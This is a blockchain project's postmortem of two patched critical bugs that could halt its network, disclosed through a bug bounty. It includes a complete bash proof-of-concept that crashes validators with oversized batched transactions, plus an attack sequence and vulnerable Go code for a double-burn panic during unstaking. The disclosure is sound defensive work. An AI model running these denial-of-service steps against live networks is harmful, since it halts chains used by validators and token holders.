back
Story Network Postmortem
Story
01 July 2025
Shortly after Story’s mainnet launch, we launched a bug bounty on Cantina.
During this time, researchers submitted 2 critical issues that we have already patched. The objective of this postmortem is to analyze the root causes of these criticals, the effectiveness of our response, and to derive actionable insights for strengthening our security posture and development lifecycle to prevent similar issues in the future. We believe in full transparency with our community and are sharing these findings to foster a more secure and resilient ecosystem for everyone.
Issue 1: Possible network shutdown due to big EVM transactions
A previous issue from our Cantina Competition (finished 17th of January, shortly after our mainnet launch) discovered a way to inject fields on ExecutionPayloads that would make the validators run out of storage. Arbitrarily large payloads could be created by adding arbitrary fields to ExecutionPayload constructed in our Execution Client (that will be ignored by Geth due to unmarshalling), making validators run out of storage after unmarshalling and saving blocks in Consensus Client.
This issue was downstream from Octane (Omni’s codebase), we inherited the issue when forking their code.
The recommendation was to refactor unmarshalling from JSON to a more strict format like protobuf, but due to the issue being reported close to competition end and mainnet launch, the refactor was deemed too last-minute. Since our execution blocks have 36M gas, then the max block size was estimated to be around 3.5MB, so 4MB was chosen to be “safe” (as in, hard to make validators quickly run out of storage), and if the block size were bigger, the code would panic.
Unfortunately, this means that EVM blocks bigger than 4MB could be created, which would make the validator panic and halt the chain.
```
#!/bin/bash
ETH_RPC_URL=http://localhost:8545
PRIVATE_KEY=0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80
ACCOUNT=0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
RECIPIENT=0x0000000000000000000000000000000000000000
# The gas limit per transaction is ~550k
# 16 txs * 550k => ~9M total gas limit for all of them
GAS_LIMIT=550000
# Generate ~128KB of calldata per transaction
# 0x00000000...000000
# ~128 KB => 1024 * 128 * 2 (two digits = 1 byte)
CALLDATA=$(printf '0x%s' "$(printf '0%.0s' {1..261840})")
NONCE=$(cast nonce --rpc-url $ETH_RPC_URL $ACCOUNT)
# Make 16 transactions of ~128 KB (before RLP encoding)
TX1=$(cast mktx $RECIPIENT --private-key $PRIVATE_KEY --rpc-url $ETH_RPC_URL --gas-limit $GAS_LIMIT $CALLDATA --nonce $NONCE)
TX2=$(cast mktx $RECIPIENT --private-key $PRIVATE_KEY --rpc-url $ETH_RPC_URL --gas-limit $GAS_LIMIT $CALLDATA --nonce $((NONCE + 1)))
TX3=$(cast mktx $RECIPIENT --private-key $PRIVATE_KEY --rpc-url $ETH_RPC_URL --gas-limit $GAS_LIMIT $CALLDATA --nonce $((NONCE + 2)))
TX4=$(cast mktx $RECIPIENT --private-key $PRIVATE_KEY --rpc-url $ETH_RPC_URL --gas-limit $GAS_LIMIT $CALLDATA --nonce $((NONCE + 3)))
TX5=$(cast mktx $RECIPIENT --private-key $PRIVATE_KEY --rpc-url $ETH_RPC_URL --gas-limit $GAS_LIMIT $CALLDATA --nonce $((NONCE + 4)))
TX6=$(cast mktx $RECIPIENT --private-key $PRIVATE_KEY --rpc-url $ETH_RPC_URL --gas-limit $GAS_LIMIT $CALLDATA --nonce $((NONCE + 5)))
TX7=$(cast mktx $RECIPIENT --private-key $PRIVATE_KEY --rpc-url $ETH_RPC_URL --gas-limit $GAS_LIMIT $CALLDATA --nonce $((NONCE + 6)))
TX8=$(cast mktx $RECIPIENT --private-key $PRIVATE_KEY --rpc-url $ETH_RPC_URL --gas-limit $GAS_LIMIT $CALLDATA --nonce $((NONCE + 7)))
TX9=$(cast mktx $RECIPIENT --private-key $PRIVATE_KEY --rpc-url $ETH_RPC_URL --gas-limit $GAS_LIMIT $CALLDATA --nonce $((NONCE + 8)))
TX10=$(cast mktx $RECIPIENT --private-key $PRIVATE_KEY --rpc-url $ETH_RPC_URL --gas-limit $GAS_LIMIT $CALLDATA --nonce $((NONCE + 9)))
TX11=$(cast mktx $RECIPIENT --private-key $PRIVATE_KEY --rpc-url $ETH_RPC_URL --gas-limit $GAS_LIMIT $CALLDATA --nonce $((NONCE + 10)))
TX12=$(cast mktx $RECIPIENT --private-key $PRIVATE_KEY --rpc-url $ETH_RPC_URL --gas-limit $GAS_LIMIT $CALLDATA --nonce $((NONCE + 11)))
TX13=$(cast mktx $RECIPIENT --private-key $PRIVATE_KEY --rpc-url $ETH_RPC_URL --gas-limit $GAS_LIMIT $CALLDATA --nonce $((NONCE + 12)))
TX14=$(cast mktx $RECIPIENT --private-key $PRIVATE_KEY --rpc-url $ETH_RPC_URL --gas-limit $GAS_LIMIT $CALLDATA --nonce $((NONCE + 13)))
TX15=$(cast mktx $RECIPIENT --private-key $PRIVATE_KEY --rpc-url $ETH_RPC_URL --gas-limit $GAS_LIMIT $CALLDATA --nonce $((NONCE + 14)))
TX16=$(cast mktx $RECIPIENT --private-key $PRIVATE_KEY --rpc-url $ETH_RPC_URL --gas-limit $GAS_LIMIT $CALLDATA --nonce $((NONCE + 15)))
# Bundle transactions, so that they will be sent in one RPC call to the node
# After RLP encoding and signing, the total size of all combined will be a little more than 4 MB
# Saving the request to a file to bypass `curl` limitations on inline calls
echo '[
{"jsonrpc":"2.0","method":"eth_sendRawTransaction","params":["'$TX1'"],"id":1},
{"jsonrpc":"2.0","method":"eth_sendRawTransaction","params":["'$TX2'"],"id":2},
{"jsonrpc":"2.0","method":"eth_sendRawTransaction","params":["'$TX3'"],"id":3},
{"jsonrpc":"2.0","method":"eth_sendRawTransaction","params":["'$TX4'"],"id":4},
{"jsonrpc":"2.0","method":"eth_sendRawTransaction","params":["'$TX5'"],"id":5},
{"jsonrpc":"2.0","method":"eth_sendRawTransaction","params":["'$TX6'"],"id":6},
{"jsonrpc":"2.0","method":"eth_sendRawTransaction","params":["'$TX7'"],"id":7},
{"jsonrpc":"2.0","method":"eth_sendRawTransaction","params":["'$TX8'"],"id":8},
{"jsonrpc":"2.0","method":"eth_sendRawTransaction","params":["'$TX9'"],"id":9},
{"jsonrpc":"2.0","method":"eth_sendRawTransaction","params":["'$TX10'"],"id":10},
{"jsonrpc":"2.0","method":"eth_sendRawTransaction","params":["'$TX11'"],"id":11},
{"jsonrpc":"2.0","method":"eth_sendRawTransaction","params":["'$TX12'"],"id":12},
{"jsonrpc":"2.0","method":"eth_sendRawTransaction","params":["'$TX13'"],"id":13},
{"jsonrpc":"2.0","method":"eth_sendRawTransaction","params":["'$TX14'"],"id":14},
{"jsonrpc":"2.0","method":"eth_sendRawTransaction","params":["'$TX15'"],"id":15},
{"jsonrpc":"2.0","method":"eth_sendRawTransaction","params":["'$TX16'"],"id":16}
]' > prankdata.txt
# Perform the attack that will crash the node
curl -X POST -d @prankdata.txt -H "Content-Type: application/json" $ETH_RPC_URL
Using JSON to marshal the execution payload roughly doubles the size of the block, further aggravating the issue.
func (k *Keeper) PrepareProposal(ctx sdk.Context, req *abci.RequestPrepareProposal) (
*abci.ResponsePrepareProposal, error,
) {
// ...
payloadData, err := json.Marshal(payloadResp.ExecutionPayload)
// ...
}
This side effect of introducing the stricter block size was not discovered through testing.
Mitigation
Short-term solution
Before implementing the refactor, we needed to “stop the possible bleeding”.
We distributed a Private release (v1.1.2) to trusted validators (> ⅔ of voting power) with fixes containing
- Fork CometBFT and temporarily set
maxBytes := int64(types.TempStoryBlockSizeBytes)TempStoryBlockSizeBytesis 20MB
- In
story(our Consensus Client)- In
evmengine/PrepareProposal, return error if the cosmos transaction to be proposed is > MaxTxBytes so the block is not proposed.
- In
func (k *Keeper) PrepareProposal(ctx sdk.Context, req *abci.RequestPrepareProposal) (
*abci.ResponsePrepareProposal, error,
) {
// ...
if int64(len(tx)) > req.MaxTxBytes {
return nil, errors.New("tx size exceeds the max bytes of tx")
}
// ...
}
- Point `story` to the new CometBFT version
Those changes were part of release v1.1.3, which was kept private to avoid telegraphing the still vulnerable state to avoid possible attacks.
After we published a public hardfork release (v1.2.0) that changed the consensus parameter to increase the block size to 20M
https://github.com/piplabs/story/blob/main/client/app/upgrades/v_1_2_0/constants.go#L22
Our testing (along with the original reporter of the issue in Cantina and our auditors, Trust and Informal Systems), verified that 20Mb blocks could not be created, so we consider the issue fully mitigated.
Long-term solution
We are working on refactoring `ExecutionPayload` to use protobuf as the original report suggested, which will cut the size of ExecutionPayload by 50% while restricting unknown extra fields, gaining in efficiency and making the exploit even less likely.
Takeaways
- Ideally, try to have enough time to fix issues between audit completions and launch date.
- Always assess the real root cause of an issue.
- We are increasing our test surface to test and deploy with more confidence
- We are researching all the possible unhandled panics in CometBFT, Cosmos-sdk, and Story
- We improved the process to distribute private releases, now they will be signed by our soon-to-be-announced Security Council, and published once the issue is deemed safely patched.
Discovered by:
Thanks again to WhitehatMage for discovering the issue and going the extra mile to, along with our testing, blockchain teams, and auditors, to make sure the patch was correctly in place.
Issue 2: Possible network shutdown by malicious unstake
When unstaking from a validator or rewarding a delegator, tokens are burnt from Consensus Layer’s balances before minting them to ExecutionClient via Withdrawal Queue, to prevent double accounting.
When a delegator is unstaking all $IP tokens from a validator, if there are unclaimed rewards, those rewards are automatically sent to the delegator through Withdrawal Queue
However, if the delegator has two or more completed unbonding entries in the same block, there was an error in Consensus Client that would make the node panic while processing withdrawals
The code incorrectly assumes that each unbonded entry can independently burn the required amount from the delegator account, without considering that the delegation record and balance may have already been affected by a previous withdrawal in the same block.
Since GetDelegation is immediately decremented upon a Withdraw request, the following attack is possible.
- delegate 1024 IP to Delegator A.
- delegate 1024 IPs to Delegator B.
- withdraw the 1024 IPs delegated to Delegator A and B in the same block.
- wait for unbonding to finish.
Previous version of the method:
https://github.com/piplabs/story/blob/aeb1c48958b45cc126307d89ab4bd497d15a2f16/client/x/evmstaking/keeper/withdraw.go#L29-L30
func (k Keeper) ProcessUnstakeWithdrawals(ctx context.Context, unbondedEntries []stypes.UnbondedEntry) error {
// UnbondedEntries are created separately because we requested to withdraw for different delegators.
...
var totallyUnstaked bool
// Since they are all withdrawn, the value of GetDelegation does not exist, so the first withdrawn entry burns all the balance.
>> if _, err := k.stakingKeeper.GetDelegation(ctx, delegatorAddr, validatorAddr); err == nil {
totallyUnstaked = false
} else if errors.Is(err, stypes.ErrNoDelegation) {
totallyUnstaked = true
} else {
return errors.Wrap(err, "get delegation")
}
if totallyUnstaked && bytes.Equal(delegatorAddr.Bytes(), validatorAddr.Bytes()) {
if _, err := k.distributionKeeper.WithdrawValidatorCommission(ctx, validatorAddr); errors.Is(err, dtypes.ErrNoValidatorCommission) {
log.Debug(
ctx, "No remaining validator commission",
"validator_addr", validatorAddr.String(),
)
} else if err != nil {
return errors.Wrap(err, "withdraw validator commission")
}
}
// Burn tokens from the delegator
coinAmount := entry.Amount.Uint64()
if totallyUnstaked {
// If the value of GetDelegation does not exist, then totallyUnstaked = true and all balance in the account is burned.
accountBalance := k.bankKeeper.SpendableCoin(ctx, delegatorAddr, sdk.DefaultBondDenom).Amount.Uint64()
>> if accountBalance > coinAmount {
coinAmount = accountBalance
}
}
_, coins := IPTokenToBondCoin(big.NewInt(int64(coinAmount)))
if err := k.bankKeeper.SendCoinsFromAccountToModule(ctx, delegatorAddr, types.ModuleName, coins); err != nil {
return errors.Wrap(err, "send coins from account to module")
}
// 1st iteration burnt all balance from the delegator's account, 2nd interation will panic
>> if err := k.bankKeeper.BurnCoins(ctx, types.ModuleName, coins); err != nil {
return errors.Wrap(err, "burn coins")
}
...
}
Mitigation
Fixed version of the method:
https://github.com/piplabs/story/pull/561
We split the logic in 2 separate loops
- First loop: For each entry:
- Burns only the unbonding entry amount (not the whole account balance, in the previous scenario, 1024 each loop)
- Adds the unstake withdrawal to the queue.
- Second loop: For each entry:
- Checks if the delegation is totally unstaked.
- If so, and if it’s a self-delegation, withdraws commission.
- Burns only the residue reward (if any) from the delegator’s spendable balance.
- Enqueues the residue as a reward withdrawal.
func (k Keeper) ProcessUnstakeWithdrawals(ctx context.Context, unbondedEntries []stypes.UnbondedEntry) error {
log.Debug(ctx, "Processing mature unbonding delegations", "count", len(unbondedEntries))
for _, entry := range unbondedEntries {
log.Debug(
ctx, "Unstake withdrawal of mature unbonding delegation",
"delegator", entry.DelegatorAddress,
"validator", entry.ValidatorAddress,
"amount", entry.Amount.String(),
)
// Check if the delegation is total unstaked
delegatorAddr, err := sdk.AccAddressFromBech32(entry.DelegatorAddress)
if err != nil {
return errors.Wrap(err, "delegator address from bech32")
}
valEVMAddr, err := utils.Bech32ValidatorAddressToEvmAddress(entry.ValidatorAddress)
if err != nil {
return errors.Wrap(err, "convert validator bech32 address to evm address")
}
// This should not produce error, as all delegations are done via the evmstaking module via EL.
// However, we should gracefully handle in case Get fails.
withdrawEVMAddr, err := k.DelegatorWithdrawAddress.Get(ctx, entry.DelegatorAddress)
if err != nil {
return errors.Wrap(err, "map delegator pubkey to evm address")
}
_, entryCoins := IPTokenToBondCoin(big.NewInt(0).SetUint64(entry.Amount.Uint64()))
if err := k.bankKeeper.SendCoinsFromAccountToModule(ctx, delegatorAddr, types.ModuleName, entryCoins); err != nil {
return errors.Wrap(err, "send coins from account to module for unbonding entry coins")
}
if err := k.bankKeeper.BurnCoins(ctx, types.ModuleName, entryCoins); err != nil {
return errors.Wrap(err, "burn coins of unbonding entry coins")
}
// push the undelegation to the withdrawal queue
if err := k.AddWithdrawalToQueue(ctx, types.NewWithdrawal(
uint64(sdk.UnwrapSDKContext(ctx).BlockHeight()), // Safe to cast to uint64,block height is positive
withdrawEVMAddr,
entry.Amount.Uint64(),
types.WithdrawalType_WITHDRAWAL_TYPE_UNSTAKE,
valEVMAddr,
)); err != nil {
return errors.Wrap(err, "add unstake withdrawal to queue")
}
}
for _, entry := range unbondedEntries {
// Check if the delegation is total unstaked
delegatorAddr, err := sdk.AccAddressFromBech32(entry.DelegatorAddress)
if err != nil {
return errors.Wrap(err, "delegator address from bech32")
}
validatorAddr, err := sdk.ValAddressFromBech32(entry.ValidatorAddress)
if err != nil {
return errors.Wrap(err, "validator address from bech32")
}
valEVMAddr, err := utils.Bech32ValidatorAddressToEvmAddress(entry.ValidatorAddress)
if err != nil {
return errors.Wrap(err, "convert validator bech32 address to evm address")
}
var totallyUnstaked bool
if _, err := k.stakingKeeper.GetDelegation(ctx, delegatorAddr, validatorAddr); err == nil {
totallyUnstaked = false
} else if errors.Is(err, stypes.ErrNoDelegation) {
totallyUnstaked = true
} else {
return errors.Wrap(err, "get delegation")
}
// Withdraw commission if validator is totally self-unstaked
if totallyUnstaked && bytes.Equal(delegatorAddr.Bytes(), validatorAddr.Bytes()) {
if _, err := k.distributionKeeper.WithdrawValidatorCommission(ctx, validatorAddr); errors.Is(err, dtypes.ErrNoValidatorCommission) {
log.Debug(
ctx, "No remaining validator commission",
"validator_addr", validatorAddr.String(),
)
} else if err != nil {
return errors.Wrap(err, "withdraw validator commission")
}
}
// Burn tokens from the delegator
residueAmount := k.bankKeeper.SpendableCoin(ctx, delegatorAddr, sdk.DefaultBondDenom).Amount.Uint64()
if residueAmount == 0 {
log.Debug(ctx, "No residue reward claimed", "delegator_addr", delegatorAddr.String())
continue
}
_, coins := IPTokenToBondCoin(big.NewInt(0).SetUint64(residueAmount))
if err := k.bankKeeper.SendCoinsFromAccountToModule(ctx, delegatorAddr, types.ModuleName, coins); err != nil {
return errors.Wrap(err, "send coins from account to module for residue reward")
}
if err := k.bankKeeper.BurnCoins(ctx, types.ModuleName, coins); err != nil {
return errors.Wrap(err, "burn coins of residue reward")
}
log.Debug(ctx, "Residue rewards of mature unbonding delegation",
"delegator", entry.DelegatorAddress,
"validator", entry.ValidatorAddress,
"amount", residueAmount,
)
// Enqueue to the global reward withdrawal queue.
rewardsEVMAddr, err := k.DelegatorRewardAddress.Get(ctx, entry.DelegatorAddress)
if err != nil {
return errors.Wrap(err, "map delegator bech32 address to evm reward address")
}
if err := k.AddRewardWithdrawalToQueue(ctx, types.NewWithdrawal(
uint64(sdk.UnwrapSDKContext(ctx).BlockHeight()),
rewardsEVMAddr,
residueAmount,
types.WithdrawalType_WITHDRAWAL_TYPE_REWARD,
valEVMAddr,
)); err != nil {
return errors.Wrap(err, "add reward withdrawal to queue")
}
}
return nil
}
Patched in:
Release 1.2.1
https://github.com/piplabs/story/releases/tag/v1.2.1
Takeaways:
- Reducing code complexity and maximizing readability is generally safer than optimizing.
- Improve testing surface and add continuous fuzzy testing and formal verification to detect more corner cases
Discovered by:
Thanks again to Jiri123 for discovering the issue and helping us review our patches along Trust’s team.
Thank you to the community for your continued contributions to secure Story. By analyzing root causes, shipping rapid fixes, and working closely with researchers, we’re continuing to strengthen Story’s development lifecycle and reinforce a more resilient ecosystem for everyone.
